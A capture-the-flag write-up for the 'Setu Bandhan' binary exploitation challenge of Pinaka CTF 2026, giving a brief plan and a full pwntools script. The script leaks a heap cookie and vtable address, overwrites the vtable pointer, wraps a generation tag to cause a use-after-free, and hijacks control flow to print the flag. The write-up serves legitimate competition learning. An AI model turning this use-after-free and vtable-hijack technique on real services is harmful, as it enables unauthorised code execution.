Setu Bandhan: Trial by Agni
By Team Cryptonite · 1 min read
About the CTF: Pinaka CTF
A hardened custom-allocator daemon with a binary stone-forge protocol. Exploit generation-tag wraparound causing a UAF via cross-thread recycling to gain code execution and consecrate the bridge.
**Pinaka CTF 2026** · Binary exploitation · Team Cryptonite · All 44 Pinaka write-ups
A hardened custom-allocator daemon with a binary stone-forge protocol. Exploit generation-tag wraparound causing a UAF via cross-thread recycling to gain code execution and consecrate the bridge.
Connection: nc 130.210.48.10 9008
Solve
The attachment was updated to aarch64 pie so offsets for everything changed but few steps remained the same.
first we leak the cookie from and vtable stub address
then we reallocate the block as a mark and then INSCRIBE can write at offset 0.
when we overwrite the vtable stub address with the address of the fire routine and write vtable ^ cookie at 0x20 from the vtable stub address
then we wrap the generate 256 times with FERRY so the state anchor handle becomes valid again
CONSECRATE the stal ehandle, then indirect call into fire route and then we get the flag
all these challenges have very similar concepts of consecrate reusing the stale handle
Initially, the nc wasn't responding, then after talking on the tickets, they changed the binary and fixed the nc, the local solve needed few changes before it could be run on the nc.


#!/usr/bin/env python3
from pwn import *
context.log_level = "info"
BIN = "./setu-bandhan"
MAX_IO = 512
HOST = "130.210.48.10"
PORT = 9008
VTABLE_OFF = 0x1A00
FIRE_OFF = 0x1BE0
def start():
if args.LOCAL:
return process(
["qemu-aarch64", "-L", "/usr/aarch64-linux-gnu", BIN],
env={"PINAKA_FLAG": "PINAKA{local-practice-solve}"},
)
if args.REMOTE:
if ":" in args.REMOTE:
host, port = args.REMOTE.rsplit(":", 1)
else:
host, port = args.REMOTE, str(PORT)
else:
host, port = HOST, str(PORT)
r = remote(host, int(port))
try:
banner = r.recvline(timeout=3)
if banner:
info(f"banner: {banner.decode(errors='replace').strip()}")
except EOFError:
raise SystemExit("server closed before sending the banner")
return r
p = start()
def quarry(subtype: int) -> int:
p.send(bytes([0x01, subtype & 0xFF]))
return u16(p.recvn(2))
def inscribe(handle: int, offset: int, data: bytes) -> bool:
assert len(data) <= MAX_IO
p.send(bytes([0x02]) + p16(handle) + p16(offset) + p16(len(data)) + data)
return p.recvn(1) == b"\x01"
def survey(handle: int, offset: int, length: int) -> bytes:
assert length <= MAX_IO
p.send(bytes([0x03]) + p16(handle) + p16(offset) + p16(length))
n = u16(p.recvn(2))
return p.recvn(n) if n else b""
def release(handle: int) -> bool:
p.send(bytes([0x04]) + p16(handle))
return p.recvn(1) == b"\x01"
def ferry(handle: int, crew: int = 0) -> int:
p.send(bytes([0x05]) + p16(handle) + bytes([crew & 0xFF]))
return u16(p.recvn(2))
def place(handle: int) -> bool:
p.send(bytes([0x06]) + p16(handle))
return p.recvn(1) == b"\x01"
def status() -> tuple:
p.send(bytes([0x10]))
b = p.recvn(2)
return b[0], b[1]
def framed() -> bytes:
n = u16(p.recvn(2))
return p.recvn(n)
h0 = quarry(1)
info(f"h0 (anchor) = {h0}")
cookie = u64(survey(h0, 0x18, 8))
info(f"cookie = {cookie:#x}")
if not release(h0):
raise SystemExit("release(h0) failed")
h1 = quarry(0)
info(f"h1 (mark) = {h1}")
leak = u64(survey(h1, 8, 8))
info(f"vtable leak = {leak:#x}")
target = leak + (FIRE_OFF - VTABLE_OFF)
check = leak ^ cookie
info(f"target = {target:#x}, check = {check:#x}")
if not inscribe(h1, 8, p64(target)):
raise SystemExit("write(target) failed")
if not inscribe(h1, 0x10, p64(check)):
raise SystemExit("write(check) failed")
batch = b"".join(bytes([0x05]) + p16(i) + b"\x00" for i in range(1, 256))
p.send(batch)
replies = p.recvn(2 * 255)
new_handles = [u16(replies[i:i + 2]) for i in range(0, len(replies), 2)]
if new_handles[-1] == 0xFFFF:
raise SystemExit("ferry batch failed")
info(f"ferry batch done, last handle = {new_handles[-1]}")
for i in range(8):
h = quarry(1)
if not inscribe(h, 0x10, p32(i)):
raise SystemExit(f"anchor {i} write failed")
if not place(h):
raise SystemExit(f"place {i} failed")
placed, sealed = status()
info(f"status: placed={placed} sealed={sealed}")
if placed != 8 or sealed != 1:
raise SystemExit("bridge did not seal")
p.send(bytes([0x07]) + p16(h0))
print(p.recv())
p.close()
Local solve:

Flag:
PINAKA{setu_bandhan_the_bridge_daemon_yields_its_secret}